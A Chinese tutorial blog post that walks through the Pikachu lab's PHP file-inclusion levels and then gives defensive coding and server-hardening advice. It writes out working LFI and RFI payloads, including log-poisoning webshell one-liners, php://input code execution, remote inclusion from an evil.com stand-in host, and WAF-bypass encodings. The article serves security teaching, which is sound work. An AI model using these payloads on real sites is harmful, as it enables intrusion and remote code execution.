ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Pikachu靶场实战:深入理解文件包含漏洞原理与攻防

2026/8/9 16:10:01 拓冰建站 浏览量
Pikachu靶场实战:深入理解文件包含漏洞原理与攻防 1. 项目概述为什么File Inclusion漏洞值得你花时间研究在网络安全的学习和实战演练中Pikachu靶场是一个绕不开的经典平台。它就像一个精心设计的“漏洞博物馆”将Web安全中常见的漏洞类型以一个个独立、可交互的关卡形式呈现出来。今天我们要深入拆解的就是其中极具代表性的一个漏洞类型File Inclusion文件包含。你可能在CTF比赛中见过它也可能在渗透测试报告中听过它但你真的理解它从何而来、如何利用、以及如何从根本上防御吗很多新手会觉得文件包含不就是改个URL参数读个/etc/passwd吗实际上它的危害远不止于此它可以是通往服务器敏感信息的后门也可以是执行任意代码的跳板甚至能与其他漏洞结合形成杀伤链。通过Pikachu靶场这个安全的沙箱我们可以毫无顾忌地复现攻击链理解漏洞原理并亲手编写防御代码。这不仅仅是“通关”一个靶场更是构建你Web安全核心知识体系的关键一步。2. 漏洞原理深度剖析LFI与RFI的“里应外合”要利用一个漏洞首先得吃透它的原理。File Inclusion漏洞顾名思义是应用程序在包含文件时未对用户输入进行严格校验导致攻击者可以操控文件包含的路径从而读取敏感文件甚至执行恶意代码。它主要分为两种类型本地文件包含Local File Inclusion, LFI和远程文件包含Remote File Inclusion, RFI。两者的核心区别在于包含的文件来源。2.1 本地文件包含LFI内部文件的“越权访问”LFI漏洞允许攻击者包含并执行服务器本地的文件。其根本原因在于开发人员使用了动态包含函数如PHP中的include()、require()并且将用户可控的变量如$_GET[‘file’]直接拼接到了文件路径中。想象这样一个场景一个网站有一个“语言切换”功能通过URL参数?langen来加载en.php语言文件。后端代码可能这样写?php $file $_GET[lang]; include(/includes/ . $file . .php); ?看起来没问题en.php在/includes/目录下。但如果攻击者将参数改为?lang../../../../etc/passwd呢经过路径拼接服务器尝试包含的文件就变成了/includes/../../../../etc/passwd.php路径回溯../后最终指向了系统的/etc/passwd文件。由于.php后缀被硬编码服务器会尝试寻找passwd.php但通常找不到攻击可能失败。这就是路径遍历的基本形态。但LFI的威力远不止路径遍历。关键在于利用服务器特性或配置不当将非PHP文件当作PHP代码执行。这里有几个经典的利用技巧日志文件注入如果服务器权限允许Web用户读取日志如Apache的access.log攻击者可以先通过User-Agent或GET参数注入一段PHP代码如?php system($_GET[‘cmd’]);?然后通过LFI包含这个日志文件。服务器在解析日志文件时会将其中的PHP标签当作代码执行从而实现远程命令执行RCE。PHP封装协议PHP提供了丰富的封装协议Wrapper这是LFI利用的“神器”。例如php://filter用于读取文件源码。例如?filephp://filter/convert.base64-encode/resourceindex.php可以以Base64编码形式读取index.php的源代码避免其被直接执行从而进行代码审计。php://input允许访问请求的原始数据流。在POST请求体中直接写入PHP代码并通过包含php://input来执行。data://直接包含数据流。例如?filedata://text/plain,?php phpinfo();?可直接执行其中的PHP代码。Session文件包含PHP的Session文件通常存储在/tmp或特定目录文件名格式为sess_[PHPSESSID]内容包含序列化的Session变量。如果攻击者能控制部分Session数据例如用户名字段并预测或获取Session文件路径就可以注入恶意代码并包含该Session文件。注意LFI的成功利用高度依赖于服务器的配置、权限和已知路径。在实战中信息收集如探知Web根目录、日志路径、系统类型是前置且关键的一步。2.2 远程文件包含RFI将攻击载荷“快递”上门RFI比LFI更“直接”。当应用程序的包含函数如include()配置允许包含远程URL通常需要allow_url_include设置为On时攻击者可以指定一个远程服务器上的文件路径如http://evil.com/shell.txt作为包含参数。后端漏洞代码可能类似?php $file $_GET[file]; include($file . .php); // 危险用户完全控制$file ?攻击者可以构造?filehttp://evil.com/shell。服务器会去请求http://evil.com/shell.php并将其内容包含进来执行。如果evil.com上的shell.txt内容是一句话木马?php eval($_POST[‘cmd’]);?那么攻击者就相当于在目标服务器上安装了一个WebShell。RFI的利用条件相对苛刻需要allow_url_fopen和allow_url_include同时开启这在现代PHP默认配置中已不常见。但一旦存在危害极大因为它意味着攻击者可以直接从外部引入攻击载荷无需依赖目标服务器上的现有文件。LFI与RFI的关系在Pikachu靶场中你可能会发现有时一个看似是LFI的漏洞通过巧妙的利用如配合php://input或data://协议可以达到类似RFI的效果执行任意代码无需allow_url_include开启。因此理解它们的本质——用户输入控制了文件包含路径——比死记分类更重要。3. Pikachu靶场实战手把手复现攻击链理论说得再多不如亲手操作一遍。我们进入Pikachu靶场的File Inclusion关卡假设靶场地址为http://pikachu.test。通常Pikachu的FI漏洞会提供一个文件查看功能URL形如http://pikachu.test/vul/fileinclude/fi.php?filefile1.php。3.1 基础探测与漏洞确认首先我们进行最基本的测试确认漏洞存在并判断类型。正常功能测试访问http://pikachu.test/vul/fileinclude/fi.php?filefile1.php页面正常显示file1.php的内容。这说明file参数确实用于包含文件。路径遍历测试尝试包含其他目录文件。修改参数为?file../../../../etc/passwd。观察响应如果直接返回了/etc/passwd文件的内容且内容为Linux系统用户列表说明存在LFI漏洞并且服务器可能未强制添加后缀。如果返回了错误如“文件不存在”但错误信息中显示了拼接后的完整路径如/var/www/html/../../../../etc/passwd这同样强烈暗示存在LFI只是可能需要绕过后缀限制。RFI测试尝试包含一个远程URL如?filehttp://your-vps.com/test.txt。你需要在自己的VPS上放置一个包含?php phpinfo();?的test.txt文件。如果页面显示了phpinfo()的信息则存在RFI漏洞。如果没有任何反应或报错通常意味着RFI不可用需要专注于LFI利用。在Pikachu中为了教学目的它可能会设置不同的场景。例如第一个关卡可能是无过滤的LFI第二个关卡可能添加了后缀限制第三个关卡可能模拟了RFI环境。3.2 进阶利用绕过过滤与获取Shell假设我们遇到一个常见的防御措施后端代码强制添加了.php后缀。$filename $_GET[file]; include($filename . .php); // 无论输入什么都会加上.php直接输入../../etc/passwd会变成../../etc/passwd.php文件不存在。这时就需要利用空字节截断或路径长度截断在特定PHP版本和环境配置下或者更通用的PHP封装协议。空字节截断已过时但需了解在PHP版本小于5.3.4且magic_quotes_gpcOff时可以在文件名后添加空字节%00来截断后面的后缀。例如?file../../../../etc/passwd%00。拼接后为../../../../etc/passwd%00.php在文件系统读取时%00后的内容被忽略。但现代PHP环境已修复此问题。PHP Filter协议读取源码这是最安全、最常用的信息收集手段。当我们无法直接执行代码时可以先读取源码进行分析。构造Payload?filephp://filter/convert.base64-encode/resourcefi.php。服务器会返回fi.php文件经过Base64编码后的内容。我们解码后就能看到漏洞点的后端代码分析其过滤逻辑寻找绕过方法。例如你可能发现代码是$file str_replace(../, , $_GET[file]); // 过滤目录遍历 include($file);这使用了简单的字符串替换我们可以用....//或..././进行双写绕过。因为str_replace只替换一次....//经过替换后变成../。利用日志文件获取RCE这是LFI到RCE的经典桥梁。步骤如下定位日志路径常见路径有/var/log/apache2/access.log、/var/log/httpd/access_log、/var/log/nginx/access.log等。也可以通过LFI读取/proc/self/environ或/etc/apache2/envvars等文件来推测。验证可读性通过LFI尝试包含日志文件如?file../../../../var/log/apache2/access.log。如果能看到HTTP访问记录说明成功。注入PHP代码我们需要将PHP代码写入日志。由于日志会记录User-Agent和请求URL我们可以使用Burp Suite或Curl发送一个请求将其User-Agent设置为?php system($_GET[‘c’]);?。或者访问一个不存在的路径如http://pikachu.test/?php phpinfo();?这个URL也可能被记录。包含并执行确认代码写入后通过LFI包含这个日志文件并在URL中添加执行参数。例如?file../../../../var/log/apache2/access.logcid。如果漏洞存在且权限足够页面将返回命令id的执行结果。3.3 利用PHP输入流执行代码当allow_url_include关闭且找不到可用的日志或Session文件时php://input是一个强大的备选方案。它不需要任何特殊配置只要allow_url_include未显式关闭且PHP版本支持。将请求方法改为POST。在URL中设置参数?filephp://input。在POST Body中直接写入要执行的PHP代码例如?php system(‘ls -la /’);?。发送请求。服务器会读取POST Body的内容即我们的代码并执行返回结果。实操心得使用php://input时务必注意请求的Content-Type。有些应用或WAF可能会检查。如果遇到问题可以尝试将Content-Type设置为application/x-www-form-urlencoded。此外这种方式是一次性的每次执行都需要重新发送POST请求。4. 从攻击到防御构建安全的文件包含机制理解了攻击手法防御的思路就清晰了。防御的核心原则是最小化用户输入的影响对包含目标进行白名单校验。4.1 安全编码实践避免动态包含如果可能尽量使用静态包含。将需要包含的文件在代码中写死彻底杜绝用户输入的影响。白名单机制如果动态包含不可避免必须使用白名单。预先定义允许包含的文件列表如[‘home.php’, ‘news.php’, ‘about.php’]用户传入的参数只能在这个列表中选取。$allowed_files array(file1, file2, file3); $file $_GET[file]; if (in_array($file, $allowed_files)) { include(./includes/ . $file . .php); } else { include(./includes/error.php); // 或直接die(‘非法请求’) }这是最有效的防御方法。严格路径控制设置基准目录使用basename()函数获取文件名去除路径部分防止目录遍历。强制添加后缀在包含前为输入强制添加固定的后缀如.php但必须结合白名单或严格的文件名校验否则可能被空字节或封装协议绕过。使用绝对路径基于一个固定的基础目录进行拼接如include(__DIR__ . ‘/includes/’ . $file);。禁用危险特性在PHP配置文件php.ini中确保以下配置关闭allow_url_fopen Offallow_url_include Off这能从根本上杜绝RFI漏洞。4.2 服务器环境加固运行权限最小化Web服务器进程如www-data, apache用户应以最低必要权限运行。确保其无法读取系统敏感文件如/etc/shadow、无法写入Web目录以外的文件、无法读取日志目录或日志文件权限设置为仅root可读。日志安全将Web日志目录的权限设置为仅root可读可写避免Web用户读取。定期归档和清理日志。Session安全将PHP的Session文件存储在Web根目录之外并设置严格的权限。部署Web应用防火墙WAFWAF可以识别和拦截常见的路径遍历../、封装协议php://data://等攻击特征。4.3 代码审计与自动化检测在开发流程中引入安全代码审计。对于PHP项目重点关注include,require,include_once,require_once这些函数检查其参数是否用户可控是否经过校验。可以使用静态代码分析工具如SonarQube, PHPStan的安全插件进行自动化扫描标记出潜在的危险函数调用。5. 实战中常见问题与排查技巧即使理论清晰实战中也会遇到各种“坑”。下面记录一些常见问题和解决思路。问题1包含文件后页面空白或报错“Failed opening ‘xxx’ for inclusion”排查首先确认文件路径是否正确。使用绝对路径进行测试。其次检查被包含文件是否有语法错误可以尝试直接访问该文件。最后检查文件权限确保Web服务器用户有读取权限。技巧开启PHP错误显示display_errors On在测试环境可以获取更详细的错误信息。在生产环境则应将错误记录到日志log_errors On。问题2使用php://filter读取文件时返回乱码或报错排查php://filter返回的是Base64编码内容需要先解码才能阅读。确保你的Payload正确php://filter/convert.base64-encode/resource目标文件。如果还是失败可能是目标文件不存在或者封装协议被禁用极少数情况。技巧可以直接在浏览器地址栏测试然后将返回的Base64字符串复制到在线解码工具或使用base64 -d命令解码。问题3日志文件包含攻击不成功可能原因日志路径不对不同系统、不同Web服务器Apache/Nginx、不同安装方式日志路径差异很大。需要多做信息收集。日志不可读权限问题。即使路径正确Web用户也可能无权读取。代码未成功注入某些Web服务器或日志配置会对特殊字符如,,?进行转义导致PHP代码无法以原样存入日志。包含时被解析日志文件内容可能被HTML编码导致?php ?标签不被识别。技巧尝试在User-Agent中注入更简单的代码如?php echo ‘test’;?。先验证注入和包含流程是否通畅。使用php://filter读取日志文件查看注入的代码是否被正确写入。问题4在包含点尝试了多种Payload均返回统一错误页面排查这很可能意味着目标站点部署了WAF。WAF检测到攻击特征如../,php://后直接拦截并返回自定义错误页。绕过思路编码绕过对Payload进行URL编码、双重URL编码、Hex编码等。例如将../编码为%2e%2e%2f或..%252f双重编码。等价替换使用....//双写绕过、..;/、..\Windows路径分隔符如果服务器是Windows等变体。协议变形php://可以尝试写成PHP://大小写、php:/.//插入多余斜杠。长路径截断在某些环境下超过一定长度的路径会被截断。可以尝试在文件名后添加大量./或/。个人体会文件包含漏洞的利用是一个“信息收集 - 试探 - 绕过 - 利用”的闭环过程。最大的难点往往不是漏洞本身而是对目标服务器环境的陌生。耐心和细致的观察力比掌握一百种Payload更重要。每次遇到阻碍回头看看错误信息、看看可能被读取的配置文件如/proc/self/environ,.htaccess,phpinfo.php总能找到新的突破口。在Pikachu靶场里你可以放心尝试所有想到的方法这种“无害破坏”的环境是积累实战手感的最佳场所。